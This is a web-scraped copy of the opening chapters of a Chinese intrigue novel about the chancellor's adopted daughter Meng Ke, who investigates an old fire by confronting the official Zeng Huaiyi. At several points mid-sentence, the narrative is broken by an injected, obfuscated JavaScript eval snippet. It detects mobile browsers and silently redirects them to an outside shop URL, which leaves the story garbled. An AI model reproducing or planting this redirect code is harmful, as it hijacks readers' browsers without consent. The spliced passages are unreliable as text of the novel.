《卢家养女》 1. 不速之客 冬月里日头短，皇帝散朝时，又点了中书省、尚书省和工部的几位主事官，议开春后的河堤修护，至酉时方散。 出得崇德殿，天已经黑了。风一吹，几人不由都浑身一凛，忙紧了紧大氅。 尚书令杜善瀛看着卢翰，笑道：“卢公自领中书令以来，还未相贺。择日不如撞日，几位都在，不如找个地方，薄饮几杯。” 工部尚书詹明光等几人也连声附和。 卢翰笑着摆手道：“各位相邀，原不该辞。只是，合该另择良日，再请诸位过府一聚，方不负同僚盛情。小女至孝，定在家中等着我用饭呢，先走一步了。” “卢公好福气！”杜尚书笑道，“既如此，就不耽误大人回府共享天伦了。” 说着，几人揖让一旁，直到卢翰走远，方才朝各自的车马而去。 “都改多少日了，”詹明光边走边道，“分明就是不想接招。” 杜尚书冷笑一声，唏嘘道：“时移势易，不是以尚书省马首是瞻的时候了！” 每朝开国之初，百废待兴，掌管具体行政的尚书省便独占鳌头。然而，及至国朝稳固，负责起草诏令、政策审批，乃至参与决策的中书省，往往便后来居上，大权独揽。 他看着卢翰消失在马车帘后，忽而笑道：“别人享天伦是含饴弄孙，他嘛，却是别有滋味啊——” 詹明光等人会了意，都笑了起来。 “他那女……养女，还真是……？” “可不是急着回家，共享天伦之乐吗！不过，享的是那一树梨花压海棠之乐。” “难怪那养女一直不改姓，好像是姓……孟？” “对，如今人称，‘京中有二美，东秦比太真，西孟赛明妃’。这西孟，说的正是那卢家养女。” “都说，老房子着火救不过来，古人诚不我欺也。” 詹明光也笑：“这卢公一把年纪了，不是那不经事的少年郎，怎么还做出此等浑事！若是外面收的干女儿、湿儿子的，任他养三五七八个又何妨？可偏生是这自小收养在家、看着长大的养女！可实在是......色中饿鬼，斯文扫地了！” “正是一把年纪了，才需要采那蓬勃朝气，以滋补阳气，”杜善瀛回头看着他笑道，“不然，对着你我这样的朽木？” “不过，这个养女也真是了不得。” 詹明光说着，习惯性地左右看了看，又压低了声音道，“入秋前，安州刺史孙秉安排个长史，被吏部压在手中迟迟不发，却又没个正经缘故。那吏部都是谁的人？最后找了这位养女的门路，不出几日就发了。 这一州刺史要个自己人作长史，不过是往上递个折子，走个过场的事，就这都要卡上一手！” 说罢，几人不免就那养女之事，说说笑笑而去，一路生出多少腌臜之语暂且不提。 *** 却说那位新长史曾怀义，悬了几个月的心终于落定，只是，原本入秋就要自明州去安州上任，这一拖就到了年下。 升迁令一到，曾家少不得大宴宾客。一则，扫扫这几个月的晦气，二则非要大张旗鼓一番，打打那等着看笑话之人的脸——此前不过是个悬而未决，便有流言传他是被查办，甚至将押解入京。 宴客这日，曾府请了戏班子，一条街外都能听见府里的锣鼓喧天，欢声笑语。 曾怀义在堂上陪客，见心腹高升进来，面有急色，却只叫了声老爷就侍立一旁，不发一语。 曾怀义向宾客告了扰，转进后堂，才道：“不来？那便不来吧。” “老爷说的是！”高升苦笑道，“可……那最不该来的却来了！” 曾怀义听他这话奇怪。 高升忙凑近前来，耳语了一个名字。 曾怀义乍一听耳熟，等反应过来是谁，惊得连连叫道：“怎么会？怎么可能？那樊仲荣他……” 当年，他先是被打了个臭死，又一刀从背后扎入心窝处，趴在血污泥涂中，已是有出气没进气了，哪里还能活？ 可高升素日是个记人面貌的好手，决计不会弄错。曾怀义着恼道：“叫人赶走就是！又何必来报？今日上门，定是故意来找晦气，还要请他进来喝茶不成？” 高升闻言面露难色，显然是说中了。 曾怀义气得拿起茶杯就要朝他掷去，又怕宾客听见，狠狠地摔在桌上，茶水溅了一桌一椅。 他压低声音，指着高升鼻子骂道：“你是办老了事的，怎么今日倒糊涂了？还不赶紧叫几个人去，从后门撵出去！千万别让人瞧见了，闹出什么笑话来。” “老爷莫急，小的岂能不知？原是立刻就要赶的。可他拿出张帖子来，小的不敢不请进来。” “帖子？他不过一介商贾，又早倾家荡产，就是苟活下来，也连个奴才都不如……” “老爷可知，他递的是谁家的帖子？”高升郑重地道，“是中书令大人府上！” “什么？！”曾怀义一时也愣住了，“他……怎么可能？” “小的再三看了，是卢府没错。正所谓，打狗还需看主人……小的只得来报老爷。” 曾怀义瞳孔犹震，万不敢信，心内却又清楚，便是借他樊仲荣一万个胆子，也不敢拿卢家的帖子招摇撞骗，忙又看向高升。 高升忙道：“小的已将他延请入内，避着人，好生看着了。” 攀上了卢家，再低贱的商贾、奴才，也是官宦之家的座上宾。 曾怀义重重地吐出一口气，心道，他果真搭上了卢家，不忙着去升官发财，来此做甚？这山长路远的，难道就为了来朝自己抖抖威风？ “来者不善！”曾怀义叹道，旋即转念又想，他好歹是朝上挂过号的人，即便是卢大人亲至，也不会不明不白就将他如何，总有个说头。 想定了，他一抬手：“走，且让我会会他去。” *** 走到偏院门口，曾怀义远远看去，厅上坐着个干瘦的中年男人，脚步不由滞了一瞬，也亏得高升能认出来——那人全不是当年久食肥甘的浑圆模样，倒像新鲜的果子，经了年，瘪成了干。 但先知道了是谁，再瞧那张脸，确是他无疑。 曾怀义心下却又更疑惑了：瞧他这形容大变的样子，分明饱经磋磨，怎么又攀得上卢府那棵大树？ 再一看，门口静候的婆子小厮都甚有气派，一旁侍立的两个丫鬟，仿佛也气度不凡。 这些人，哪是他这种商贾之流能调教出来的？ 那卢府的帖子只怕是真。既有这些人在，他今日到底是为自己而来，还是替卢府办事？曾怀义倒有点吃不准了，于是，本来挺直的脊梁，不由放软了些；本来绷起来的强硬姿态，改了几分谦恭和亲热。 樊仲荣早听得外面的脚步声，却继续气定神闲地，慢口呷着手中的茶。 直待曾怀义进了堂，先开口叫了贤弟，他才略一掀眼皮，悠悠地放下茶杯，慢慢地站起身来。 “怀义兄，多年不见，风光更胜从前。为弟给您道喜了！” 说着，便作势要拜。 曾怀义早堆了笑，紧走几步上去，亲热地扶住了：“贤弟这见的什么外？我们兄弟之间，不要讲这些虚礼才是。” “这官、民，毕竟有别。” 嘴上虽如此说，却就势便坐下了。 两人各怀鬼胎地叙阔一番。曾怀义终于转到正题，看着樊仲荣的反应，笑问：“不知贤弟此番到绥陵……却是为何？” 樊仲荣笑道：“愚弟近日路过明州，恰闻怀义兄高升大喜，岂有不来相贺之理？偶然间向一位贵人说起。贵人竟说，与怀义兄也有些缘故，便拿了帖子，让我代为道声喜。这就……更少不得跑这一趟了。” “不知是卢府哪位贵人？” 曾怀义仍堆笑道，“不瞒贤弟，说来，卢府于我也有大恩义，正思不能酬报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曾怀义目送着马车咕噜噜远去，心道，是了，他此行兼着主子的差事，又有这些人看着，碍于此也不能公然发作，且看他之后怎么出招吧。 你有攀云梯，我就不能找登天路？如今不过棋先一手，鹿死谁手还不一定呢？ 正如此想着，那车帘不知何时掀起了一角，一个丫鬟正看向这边，遇着他的目光，当即又放了下去。 刚才全心应对樊仲荣，无暇他顾。曾怀义这会想起来，那两个丫鬟虽遮了面，但也看得出姿容不俗，风度卓绝，便是寻常官宦人家的小姐，只怕也赶不上其三分。 *** 曾怀义此时也无暇细想，忙吩咐人悄悄跟上樊仲荣。他倒要看看，这人葫芦里到底卖的什么药。 次日，樊仲荣刚起身，下人就来报说，曾怀义来给小姐请安，忙整束衣冠，去往上房通报。 入了烟屿斋，见大丫鬟回雪正站在窗内，为镜前的小姐理鬓梳妆。 这卢家的孟小姐，在京城也是出了名的好颜色。初见之人，莫不醉心于其风姿。可樊仲荣却不敢多看一眼，忙低眉敛目，恭声回报。 言毕，窗口飘出一声轻笑。小姐慵懒地笑道：“来得，倒比我料的早了些。” 却说那曾怀义，几乎一夜未得睡，候在门房内闲坐下来，少不得深思困倦。初次登门，照旧先在门房里上下打点了一番，又要了极酽的茶来，强自醒神。 这卢家小姐之前就没收谢仪，此番到了绥陵也不露面，想必也不会见他。但他好歹得亲自来这趟，聊表敬意，日后还得想法买通府里人，打听实在了才是。 两盏酽茶下去，他恍恍惚惚走到了后花园。这梁家大宅的后花园早年就颇有名气，极雅致，尤其是几株远处移栽来的奇木，四季里花叶相继，盛景不绝。树下也每每宴饮不断，丝竹管弦不绝。 忽而，整个花园却没在了火海之中，将夜空都照亮了半边。一条条人影，在其中奔跑扭转、呼号惨叫。屋宇随之倾圮，房舍齐齐倒塌，他的半边身子也发起烫来…… 突然，有人在他肩头猛地一推，曾怀义猛然一惊，回头看去——原来竟不小心朦胧了过去。一看身上，日头西移，阳光正好晒了他半边身子。 来人传说，小姐请他入内。 2. 游园惊旧梦 曾怀义晕乎乎地起了身，随来人往里走，心下忖道，定是自己府上昨夜走了水，又碰巧是在这粱宅迷糊了过去。 正是日有所思，梦有所见，而非别的什么...... 虽如此想，他心中还是有些异样——自七年前那场大火后，他还是头一次来。 这新宅虽然合了两家之地，大了些，但屋舍排布大致没变，景致也依稀还是当年模样，难免不心生错乱之感。 乱想之间，已经进了正堂。下人请坐上茶，礼遇有加。 过了约莫半盏茶功夫，屏风内有响动。 曾怀义一抬眼，见一众丫鬟婆子簇拥着一人，自后堂袅袅婷婷而来，在帘内坐定了，忙起身拜了下去：“下官曾怀义，特来拜见小姐。” 屏风内外站了一堆人，却鸦雀无声，所有人就那么静静地看着他，不言不语。 初次拜见给下马威这种事，并不少见。曾怀义深吸了一口气，勉力维持着姿势。 也不知怎的，明明几杯酽茶下肚，困意不仅未消，反倒越来越重了。他此时只觉眼睛都快睁不开了，脚下也有些站不稳。 他狠狠眨了几下眼，强打精神又下拜道：“下官曾怀义，拜见小姐。” 里外仍是不应。 也不知过了多久，他脚下突地一趔趄，差点一头倒栽下去，好在是武官出身，身手自比常人不同，总归是收住了脚，没让众人看他摔个狗啃泥。 这时，只听得一声冷笑，一个大丫鬟自屏风后绕了出来。 曾怀义瞧着，倒像是樊仲荣带去曾府的。 那丫鬟开口就嘲道：“曾大人果真是累了，奔波了一夜，府上昨夜还走了水，怎么也不回去看看？大清早倒上这儿来。” 走水之事一夜间传遍了不奇，曾怀义心惊的是，他夜半出府，彻夜未归的事都知道。 他自然又更警醒些，吃了排揎，仍好声好气地笑答：“劳姑娘挂心。敝府昨日宴客，底下人吃醉酒，失手打翻了火烛。好在及时发现，只损了小半下人房舍，倒不曾伤及人命。” 回雪啐了一口：“呸！你曾府算什么东西！也值得姑娘我挂心？就算全烧成了灰，也是你们自作其孽。可我们小姐头一日到此，就受了大惊，你可担待得起！” 曾怀义扑通跪了下去：“下官知罪！得知小姐到此，不敢耽搁，忙来拜望谢罪。只因一夜未眠，神思恍惚，等见了小姐倒忘了请罪。” 帘内，孟珂以手支颐，歪头看着曾怀义，嘴角微微一扯，冷冷一笑。 昨日见他高朋满座，志得意满，现下......却匍匐在她脚下，指东不敢去西——权势可真是个好东西。 帘外，回雪厉声斥责：“什么样的狗奴才敢贪酒生事！就该拖出去，当众打死才是！ 昨夜总算没有酿成大祸。倘或不只烧了你曾府，还连累上左邻右舍，绥陵父老......便是把你合家老小都下十八层地狱，日日抽筋剥皮，时时油锅细煎，也不够赎罪的！” “是，姑娘教训的是。”曾怀义连连点头，诚心痛悔地道，“下官回去一定严加管束，断不敢再生出如此祸事。” “回雪！” 曾怀义忽听得一声轻柔的嗔止，似如梦方醒，带着几分困倦懒怠的笑意。 “我这丫头，嘴快，性子又泼，但心是极好的，关切府上的安危呢。大人看在我的面子上，不要与她计较才是。” 曾怀义自然不傻，语带惶恐地道：“小姐说的是，回雪姑娘句句在理，下官感激不尽，又怎会计较。” 帘内一声轻叹，直教人心神荡漾。 “他们这些下人，哪里知道主子的难处。”她含娇带嗔地又道，“这高门大户里，人多事杂，主人又没有三头六臂，哪能让底下人人都谨慎，事事皆周密，全无一点纰漏呢。” 要是见个假台阶就哧溜往下滑，曾怀义早就踏空翻船了。 他仍道：“谢小姐体恤！但下官自知治家不严，难脱其责。” 孟珂无声地冷哼了哼，又笑道：“这后宅终归是主母之事，大人政事繁忙，岂能事事亲自照管？” 说完，却又看他跪了半晌，才“哎呀”了一声，突然想起来似的道，“曾大人快快请起！怪我，昨夜没睡好，这会子神思恍惚的，让曾大人受累了。” 曾怀义暗暗用手撑着点，才拖着麻掉的老腿，缓缓从地上爬起来，轻轻捏了捏已然僵直的老腰。 这一站起来，才见屏风内的人影映于帘幕之上，正是一幅娇软无力的美人图。 但他看不见的是，屏风那头，美人目光如刀，已将他片了千万片...... *** “站着干嘛，还不快坐！” 说着，那图里的美人袅袅起身，款步绕至屏风前来。 曾怀义不便直视，却也忍不住溜了一眼——果然是个玉琢似的人儿，其千娇百媚之态，风流宛转之妙，自不待言。 瞧着还有几分骄纵的天真，他心下不由放松了些。 这种娇妻、美妾、娇横小姐，他也见了些，多少有点恃宠而骄、喜怒无常。不过，终究是弱质女流，以色侍人之辈，不难应付。 只是……他扫了一圈屋子的丫鬟婆子和管事，个个都不是好相与的，也得小心三分。 曾怀义正自琢磨着，突听小姐话锋一转。 “大人可知，你升迁一事，我为何要替你说话？” 这位小姐语带天真地说着朝堂弄权之事，倒有种奇异的举重若轻。 曾怀义起身又拜道：“下官不敢妄自揣测。” “我料你也猜不到！”孟珂笑出声来，“不瞒大人，我自小就喜读奇闻轶事，可巧就听过当年宁州招安的事。” 听得宁州招安几字，曾怀义悚然心惊。 此事当年就隐秘。时任县令上报之前就允其改名换姓，后又异地安置了。而那几个兄弟，入公门没多久就死的死，散的散。不管朝中还是外头，都没几个人知道。 那樊仲荣也不该知道——他们认识的时候，他已经改名换姓了。这位年轻小姐又如何得知？ 孟珂故意顿了顿，看着曾怀义的脸色道：“那被招安的几人里，独有一人让我钦佩：落草之时，是为一方豪侠；为官之后，又成国之栋梁。” 说着，意味深长地补了一句，“不用我说，大人也知道是谁吧。” “惭愧！惭愧！”曾怀义含糊应着。 他心中虽惊疑不已，脸上却不动如山。 这老狼成精了！孟珂又道：“可巧听说了大人的事，我便在父亲面前提了提。父亲最是惜英雄、重英雄之人，发了话说，万不可为难大人。 为此，大人送去的谢仪，我断不能收，也不知底下的人可把意思传到了？” 自然是没传到，曾怀义纳罕了许久。但他也不能去追究，只一脸感激涕零地道：“大人和小姐的恩德，下官万难报答！” “这倒不难。”孟珂笑道，“我既有缘到了此地，少不得有叨扰大人的时候。便只今日，大人就可还报一二。” 她几步走到门口，看着外面的深深庭院，徐徐吐出一口气，道：“我昨日方到绥陵，但已爱极了这里。山明水秀自不必说，气候也宜人，还有温泉泡汤，最适合我调养身子。这宅子嘛......” 说着，转过身来，看着曾怀义的反应道，“也......还不赖。本来打算只勾留几日的，如今少不得要多住些日子了。大人在明州半生，通晓此间风土人情，熟知人事变迁。今日就先带我游游这园子如何？” 曾怀义心中惊疑，难不成......樊仲荣对这宅子的来历只字未提？ *** 樊仲荣没说倒无妨，就怕他已说了，这位小姐此刻是闹他，试他是否忠心可用。 于是，他面露难色道：“下官有些话，不知当讲不当讲。讲了，怕惊着小姐。不讲，又怕小姐日后得知，也要受惊......” 孟珂一挑眉毛，玩味地看了他半晌，冷声道：“只管讲来，必怪不着你。” 说着，便径直向外走去。 曾怀义忙跟了上去，边走边娓娓道来。 这里原是前监察御史粱均归隐的私邸，但一场大火把左近几家都烧了个干净，后在原来的粱、霍两家地上重新盖了起来，当地人仍习惯称作梁家大宅。 只是，那场大火起于夜半熟睡之时，极其惨烈。任这新宅修得多好，景致多美，方圆百里内的知情人都不敢买。 哪里是走水的事呢？一把大火，便想将什么都焚尽了？ 孟珂心中哼笑一声，口中不以为意地道：“这走水之事在所难免。我朝数百座城池，哪里不曾发生过？到底是如何惨烈才唬住了人，不敢接这大好庭院？” 她走着走着，突然停了步，面带惊色地回看曾怀义：“难不成……那几家人全——都——送了命？” “那倒不曾。”曾怀义摆手道，“大火之前，这霍家就出了事，死的死，流放的流放，只剩了个小姐和不多几个老弱仆人。正是主幼仆壮，无人主事，才大意招灾，也......连累了梁家。” 孟珂的声音沉了下去：“可有人侥幸得活？” 曾怀义顿了顿：“那......粱家女儿，恰巧出门探亲，幸得偷生。” 孟珂唏嘘道：“人说，冥冥中自有天数。梁家小姐大难不死，想是……还有未竟之事。” 走出几步，她微微侧首，睨了曾怀义一眼：“那霍家呢，不是也有个小姐？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999099|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 曾怀义斟酌着道：“那夜之后，便再没人见过，想是没能幸免。” 孟珂轻拍心口：“可怜见的！这少说也得上百口人，竟只活了一个小姑娘。” 曾怀义看她脸色发白，心下笑道，果然还是弱质女流，不过纸老虎而已。 他见机进言道：“也有那自以为命硬的，或不知情的外地人买过，但没多久就出了诸般怪事。这宅子兜转几手，就是没人能住安生。自然，也请过各路神仙来作法，但还是……没能超度，空置到了如今。 不想，竟让小姐误打误撞住了进来。这买办之人，着实该罚。” 要不是樊仲荣着人从那不成器的梁云钦手中骗买过去，他也不必如此悬心了——这位小姐要是翻出什么来，可就麻烦了。 孟珂一听却笑了：“樊老板又不是本地人，被有心之人蒙蔽也是有的。我自不怪他。” 曾怀义见此，改口附和，不忘借机打探道：“樊老弟与我还是旧交，不想他竟有幸得了小姐青眼，也不知是何机缘？” 这小姐倒爽快直言道：“我有个用老了的管事，是樊老板同乡，见府里采买的人不得用，就荐了他入府。说此人曾是几州之地数得上号的商界翘楚，因故败落了。我瞧着也得力，就留下了。” “那倒是樊老弟的大造化了。”曾怀义心道，既如此，断不是心腹近臣，一时又宽心不少。 “不过，小姐千金之躯，还是......换个地方住为上。”曾怀义道，“我已命人收拾了一个上好的宅子，跟这园子比，断不会差，相隔也不远，小姐说话便可去住。” “怎么，你当我也是那命薄的轻贱之人？” 孟珂当即变了脸，四下扫了一眼，冷笑道：“这种地方，寻常人自然压不住，我却偏要住下！果然有冤魂，就让它出来，看它敢作我的祟不成。” “是！小姐命贵，自然压得住。” 曾怀义又找补道，“下官只是......想为小姐做点事，尽尽心。” 说罢，心下叹道，也罢，就好生伺候几日，早点送走这尊大佛便了。 于是，也不再多说，一路指点方位，讲解趣闻。 *** 说话就到了后花园，曾怀义举目一望，不由也怔了怔。 那几棵老树竟浴火而生，树下男人把酒言欢，娇妻美妇谈笑之景，又犹在眼前。 恰此时，一阵风来，周围树上的雪簌簌飘落，不免迷了人眼。 孟珂忙抬手去擦，红着眼笑道：“看看这满园风光，哪有半点人间惨剧的迹象？” 说着，她径直走上前去，在其中一株苍老遒劲的红梅前止了步——数九寒冬，残雪犹在，显得那红色格外扎眼。 曾怀义见了，眼中也是一动。 转眼一看，孟珂正笑着看他：“大人怎么了？” 曾怀义笑答：“下官看这园中变迁，不免感怀。想当年，霍、粱两家比邻而居，两位小姐年纪相仿，形影不离。正如诗云，‘井边双梧桐，映月影离离。’因紧挨着这镜月湖，时人称其为‘镜月双姝’，也有称‘映月双姝’的。如今，庭树犹在，人却已去了。” 那株红梅的树干上有个巨大的树瘤，孟珂不由探手去抚。 曾怀义见此，眼前又见两个小小姐同它比高，旁边的小公子说笑着什么。他摇了摇头，再看，哪里有什么小小姐、小公子。 果然是年纪大了，才熬了一夜，今日就如梦游一般。 孟珂见他又开始恍惚起来，知是药效又起了，似不经意地道：“对了，那梁家小姐后来如何了？” “投亲，”曾怀义听着她的声音，仿佛自很远的地方传来，狠狠地拧了大腿几把，强打精神道，“去了姨母家，后来就嫁给了那家表哥，正是本郡太守陈万霆。如今倒是……夫妻和美，万事顺遂。” 孟珂笑着点头：“果真是大难不死，自有后福。可为什么是姨母家，就没别处去了？可有父家、母家、未来婆家......” 曾怀义虽心神涣散，但其人心志异常坚定，大腿都掐烂了，愣是条缝都不露。 一直行至湖边水榭，别说缝了，孟珂连条细线也没找到，只能另想办法，推说累了，在美人靠上坐了歇息，自顾自赏那雪后镜湖。 曾怀义也松了一口气，侍立一旁，缓了缓困意，也抬眼一眺，心下直叹，这梁宅的位置倒是极好，日升月落，朝霞夕阳，四季之美，尽收眼底。 刚一收回目光，便见湖边树影下泛出一叶扁舟来，船头站着个年轻妇人。 孟珂“哟”了一声，惊笑道：“好一个美人儿！京城的贵女们都比下去了。这绥陵竟藏了这样的绝代佳人。” 说着，转头问曾怀义，“这是谁啊？” 3. 湖滨现双姝 这美妇人不是别人，正是陈太守之妻，此宅前主人的小姐。 那梁夫人似有所感，一回头，面有惊色，似是没想到水榭之上有人。 她和曾怀义的目光一交错，虽只一瞬，却已落入孟珂眼里。 孟珂掩口而笑，生冷不忌地打趣道：“大人与这位夫人，看着很熟。” 曾怀义忙道：“小姐说笑了，这正是我方才说的梁家小姐。下官与陈太守同郡为官，难免有些来往。当年与那……梁父，自然也有些交往。” 卢府去请，梁夫人忙叫船靠岸。 看着那慢慢泊近的梁夫人，孟珂心下冷笑，倒真有几分当日梁家小姐的影子，可是用了不少心思，这一装就是七年，也是不容易。 她转眸看向曾怀义，故作惊奇道：“想必姨母家也不缺她吃穿，不需为生计而变卖祖宅。这位夫人为何要卖？既卖了，如今又在这湖上徘徊，却是为何？” 曾怀义边想边道：“这卖园子，左不过是近家情怯。而今湖上徘徊，想是追慕亡亲。算算，当日梁家出事，也是这个时节。” 靠了岸，梁夫人唤出舱内的奶妈，抱着个四五岁大的孩子，一起来拜见。 小姑娘在奶妈怀中醒来，见了众多生人正发怯，突然看见个熟人，惊喜地叫道：“曾伯父！” 孟珂又调笑道：“大人方才还说不熟，看来可是通家之好呢！” 此言一出，两人脸上似有赧色一闪而过。 孟珂看看曾怀义，又看看梁夫人，笑道：“曾大人也是看着夫人长大的，论理该叫声曾伯父，原就该亲热些才好。” 话音未落，一个童声冷不丁地道：“曾伯父不是我的伯父吗？怎么也是母亲的伯父呢？” 孩子话一出，几个人的脸都绿了，一旁的孙嬷嬷忙打了岔，命奶妈抱着去玩了。 孟珂却放肆地笑了一回。 毕竟初见，梁夫人摸不准这位卢家小姐的脾性。京都贵女，骄纵些总是有的，打趣调笑几句算得什么，就是掌掴欺侮也不奇怪，总得忍上一忍。好在，这卢小姐笑了一回也就罢了。 她上前捉着梁夫人，笑道：“曾大人刚才还在可惜当年的镜月双姝呢。我竟这么好运，立马就捉住一个。姐姐……不介意我叫姐姐吧？叫夫人太过生分。” 梁夫人微微笑着，摇了摇头。 孟珂左右端详着她，啧啧赞道，“瞧姐姐这模样，这气度，把妹妹衬得山野村姑一般。” 姐姐如今看着镜中的自己，可会错乱？ 梁夫人含羞道：“小姐快别打趣我了，您才是真天香实国色。” 这两人站在一处，跟美人画儿一样。 连曾怀义也忍不住来回溜了几遍，心道，一个风流袅娜，娇俏清灵，一个沉静端肃，娴雅柔婉，倒真是一对绝色。 孟珂拉着梁夫人坐下，亲热地道：“如今我住了这里，姐姐仍当是自己家，若想家了，随时来便是，莫要同我见外。” 梁夫人扫了曾怀义一眼，不置可否地谢过。 孟珂这次倒不点破，只笑而不语。 半晌，她突发其想似地道：“见了二位，又听了一耳朵的梁宅旧事，我倒想着，这总不能一直叫梁宅，该改个名字了。” 她边想边道，“不如就叫……熹园，既有被火重生之意，也是暗夜将明的兆头。你们看可好？” 那两人自然没有反对之理，只是又交换了一个眼色。 曾怀义不忘恭维道：“如今有小姐在，这园子，自是从此天明了。” 说完，只道要处理前夜走水之事，告辞了。 孟珂也不挽留，自拉着梁夫人说话去了。 *** 高升等在熹园门房，见曾怀义皱着眉出来，神态也不太对，忙上前问安。 曾怀义抬手掐着太阳穴：“也不知怎么的，今天实在困得紧，晕得不行，后来不困不晕了，却又开始疼起来。莫不是这园子真有点……晦气。” 他惯说鬼话，却不敬什么鬼神。 说着，他又想起正事，“可问过了，周大人昨日可有贺礼到？” 高升回道：“到了，还派的是亲随小厮，那个洗墨来送的。说他家大人原是一定要来的，只是突然得了要案线索，耽搁不得，完事一定亲来庆贺。话说得倒是漂亮！” 曾怀义闻言不语。 高升却不平道：“什么查案，睁眼说瞎话！这个‘公子县令’，谁还不知他懒怠？ 此人作派荒诞，行事也不知轻重！绥陵城哪任县令不给老爷面子？老爷如今可比他还高出一品呢，让合郡的老爷们看着，像什么话！” 曾怀义冷笑一声：“你懂什么！他就是无品无职，也要好生敬着！人生在周府，便是多少人一辈子也爬不到的高处。官场上，是只看品级定尊卑，单靠俸禄定富贵的吗？” 说着说着，不由动了真气。高升这般没见识的，只见着他升迁。可他却心知肚明，如今年过五十，若没有大造化，仕途已然见顶。 如今，国朝已定。升平之世，没有立从龙之功而一飞冲天的机会了，少不得两代人才能勉力立个寒门，三五代才可堆出个世家。这还得代代皆人才，祖业得交继才行。 他草莽出身，一辈子全靠自己攀爬。可如今这世道，任你如何奋力，也只爬得几步就见顶。此乃他平生最愤懑之事。 他最苦独木难支，自然，也最恨那根深叶茂的。 像周冶那种世家子，刚出仕，品级虽低，前途却不可限量。正是他最羡慕，也最恨不能夺其舍的那种。 有时，酒过愁肠，他甚至也会生出这样的念头——若让他生在那种世家，便是抢个皇位来坐坐，也并非不可能。 可是，那泼天的尊荣富贵，终究只能寄望于儿孙了。 好在，他两个儿子都还成器，老大勇武，老二敦敏，曾家日后也是大有希望的。 想到此处，曾怀义不由又踌躇满志起来，如今好歹又多爬了一步，接下来定要结两门好亲才是。老大自不用提，只是老二那孩子……别的不让人操心，偏在亲事上有点牛心牛性。 那刚高涨起来的心气，不免又颓了些。 但这一热一冷下来，曾怀义忽而琢磨过味来了，心中叫道，差点让高升这老混货给算计了！ 他冷笑一声，斥道：“别打量我不知道你打的什么好主意！不过是为你儿子吃醉酒把人打坏了的事。你见那周冶不好摆弄，就来给老爷我上眼药了？” 高升忙指天起誓道：“小的忠心天地可鉴！真的只是替老爷不平！” 曾怀义也不跟他掰扯：“你用不着在这儿挑事！待我这几日忙过了，自会照管。但你方才那些话，以后万不可再说了。让人听了去，只当是我的意思，平白替我多结桩怨。” 说完，又警告道，“别在我面前耍这些心眼子，看我饶不饶你！” 高升既得了准话，喜不自胜，忙不迭地应着，再不多嘴。 曾怀义临上马车，又回看了熹园一眼。 他这辈子虽只能草草立个门楣，却也是万中无一的人杰了。就连这卢家小姐，不也听了故事便对他青眼有加？那小女子虽天真，却也有几分眼光，说不定......在她这儿还能有什么造化呢。 想到此，他又欢喜了几分，嘱咐高升道：“这三日的善粮要好生督办，比往常要更热闹些。” 主仆二人在马车内坐定，逐件议起事来，说话间就到了家。 门房说，有个樊老爷的帖子到了。曾怀义拿来一看，邀他夜饮游湖，想到早上就听说他包下了湖上所有游船，还不许渔船和私人船只往来，心道，就算那卢翰本人来了，也不一定这么排场吧，这小姐行事也未免太过。 *** 熹园内，孟珂拉着梁夫人说了半日的话，问她当年如何远走投亲，为何卖出故宅，投亲之后生活怎样...... 梁夫人心中好生奇怪，这卢小姐如何像街头婆娘一般，专好打听人私隐。 她不过一念闪过，那孟珂却当即抓着了，笑道：“呀，瞧我！交浅言深，不知分寸了。” 嘴上这么说着，却又继续交浅言深道：“姐姐当年之事，是为不幸，但像姐姐这般福大命大，也是世所罕见。可真是同人不同命啊。就说那位霍家小姐，落个尸首都不见，这么多年，想是连香火也没受过一分。” 又想一出是一出地问，“曾大人说，梁家出事就在这个时节，姐姐又在此徘徊，想必祭日就是这几日？我既住了这园子，合该敬些香火，也不知是哪天？” 梁夫人的脸色暗了暗：“正是……今夜。” 孟珂“呀”了一声：“难怪姐姐今日在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见回雪心疼地看她，孟珂用眼神说了句没事，沉声道：“祭扫之物可备好了？七年了，也没正经拜过他们一回。” *** 孟珂前夜本就没睡好，午后又带人浩浩荡荡地游了一回湖，回来便道身上乏得很，命人服侍她到后园泡汤。 这宅子重修之时，从山上引了温泉水下来，在临湖的半坡上建了几个池子，草木层层叠叠，从外面看不见里面，但从里面可看湖景，泡汤赏景两不耽误。 泡了约莫半个时辰，她就身热头晕，披衣起来，忽见湖上有光亮。 月华如水，照得分明。那一爿小舟上，梁夫人一身白裘，似于水上祭奠。 孟珂走到近处坐下，慵懒地伏于美人靠上，挥手唤了声姐姐。 夜风突然送来一声似幻似真的“姐姐”，梁夫人身子微微一颤，徐徐转过身去，一看是卢家小姐，披着火红的大氅，在暗夜里如一朵赤焰。 她幽幽地松了口气，冲那卢家小姐莞尔一笑。 水平如镜，月映如故。 两个美人，一个在矮崖水榭之上，一个在浮舟之中，红衣白裘，相视而笑，正是一幅月下双美图。 这么对视着，梁夫人的笑容却渐渐消失了——她眼中看到的，不再是那骄纵任性的卢府贵女，而是个十一二岁的少女。 两个少女，一个崖上，一个崖下，直直地对视着。 一个身后挥着滴血的大刀，一个在惊叫中滚落山崖...... *** 这一夜，月不黑，风不高，却似乎注定是个多事的晚上。 子时初刻，孟珂已经躺下，回雪听见一串焦急的脚步声一路跑进烟屿斋，似有要事发生，忙轻轻开门出去了。 等她进来，见小姐已经坐起身，便回道：“曾怀义他……死了！” “还没消息？”孟珂只问。 